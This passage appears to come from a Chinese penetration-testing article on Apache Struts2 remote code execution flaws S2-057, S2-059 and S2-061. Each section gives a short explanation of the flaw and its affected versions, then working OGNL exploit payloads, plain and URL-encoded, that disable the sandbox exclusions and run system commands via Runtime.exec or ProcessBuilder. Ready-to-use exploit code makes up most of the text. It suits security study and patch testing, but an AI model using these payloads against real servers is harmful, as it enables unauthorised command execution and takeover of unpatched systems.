%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
??S2-057
??1、漏洞原理
??? 定義XML配置時(shí)如果沒有設(shè)置namespace的值,并且上層動(dòng)作配置中并沒有設(shè)置或使用通配符namespace時(shí),可能會(huì)導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞的發(fā)生。同樣也可能因?yàn)閡rl標(biāo)簽沒有設(shè)置value和action的值,并且上層動(dòng)作并沒有設(shè)置或使用通配符namespace,從而導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞的發(fā)生。
??? 利用條件:(1)alwaysSelectFullNamespace操作元素沒有設(shè)置命名空間屬性,或者使用通配符;(2)命名空間將由用戶從uri傳遞,并被解析為OGNL表達(dá)式,最終導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞。
??2、影響版本
<=Struts 2.3.34,Struts 2.5.16
??3、漏洞驗(yàn)證
??(1)驗(yàn)證漏洞:http://IP/struts2-showcase/$%7B233*233%7D/actionChain1.action
payload被執(zhí)行,計(jì)算出了233*233的值
??(2)命令執(zhí)行
??POC:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
??插入代碼時(shí)要進(jìn)行URL編碼:
%24%7b%0d%0a(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d%0d%0a
??S2-059
??1、漏洞原理
??? 使用某些標(biāo)簽時(shí),會(huì)對(duì)標(biāo)簽屬性值進(jìn)行二次表達(dá)式解析,當(dāng)標(biāo)簽屬性值使用了%{skillName}并且skillName的值用戶可以控制,就會(huì)造成OGNL表達(dá)式執(zhí)行。
??2、影響版本
Struts 2.0.0 – Struts 2.5.20
??3、漏洞驗(yàn)證
??(1)驗(yàn)證漏洞
在URL后拼接?id=%{1+1},觀察回顯,如POC:http://192.168.244.128:8080/?id=%25{2*2}
??(2)命令執(zhí)行
??POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).
(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
??URL編碼后:
%25%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.setExcludedPackageNames(%27%27)).(%23ou.setExcludedClasses(%27%27)).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d
??S2-061
??1、漏洞原理
??? s2-061是一個(gè)遠(yuǎn)程命令執(zhí)行的漏洞,Struts2會(huì)對(duì)某些標(biāo)簽屬性(比如id,其他屬性有待尋找)的屬性值進(jìn)行二次表達(dá)式解析,因此當(dāng)這些標(biāo)簽屬性中使用了%{x}且x的值用戶可控時(shí),用戶再傳入一個(gè)%{payload}即可造成OGNL表達(dá)式執(zhí)行。S2-061是對(duì)S2-059沙盒進(jìn)行的繞過。
??2、影響版本
Apache Struts 2.0.0 - 2.5.25
??3、漏洞驗(yàn)證
??POC:
%{(#instancemanager=#application['org.apache.tomcat.InstanceManager']).
(#stack=#request['struts.valueStack']).
(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).
(#bean.setBean(#stack)).
(#context=#bean.get('context')).
(#bean.setBean(#context)).
(#macc=#bean.get('memberAccess')).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance('java.util.HashSet')).
(#bean.put('excludedClasses',#emptyset)).
(#bean.put('excludedPackageNames',#emptyset)).
(#arglist=#instancemanager.newInstance('java.util.ArrayList')).
(#arglist.add('id')).
(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).
(#execute.exec(#arglist))}
??URL編碼后:
%25%7b(%23instancemanager%3d%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).%0d%0a(%23stack%3d%23request%5b%27struts.valueStack%27%5d).%0d%0a(%23bean%3d%23instancemanager.newInstance(%27org.apache.commons.collections.BeanMap%27)).%0d%0a(%23bean.setBean(%23stack)).%0d%0a(%23context%3d%23bean.get(%27context%27)).%0d%0a(%23bean.setBean(%23context)).%0d%0a(%23macc%3d%23bean.get(%27memberAccess%27)).%0d%0a(%23bean.setBean(%23macc)).%0d%0a(%23emptyset%3d%23instancemanager.newInstance(%27java.util.HashSet%27)).%0d%0a(%23bean.put(%27excludedClasses%27%2c%23emptyset)).%0d%0a(%23bean.put(%27excludedPackageNames%27%2c%23emptyset)).%0d%0a(%23arglist%3d%23instancemanager.newInstance(%27java.util.ArrayList%27)).%0d%0a(%23arglist.add(%27id%27)).%0d%0a(%23execute%3d%23instancemanager.newInstance(%27freemarker.template.utility.Execute%27)).%0d%0a(%23execute.exec(%23arglist))%7d
文章來源:http://www.zghlxwxcb.cn/news/detail-408760.html
文章來源地址http://www.zghlxwxcb.cn/news/detail-408760.html
到了這里,關(guān)于【滲透測試】Struts2系列漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!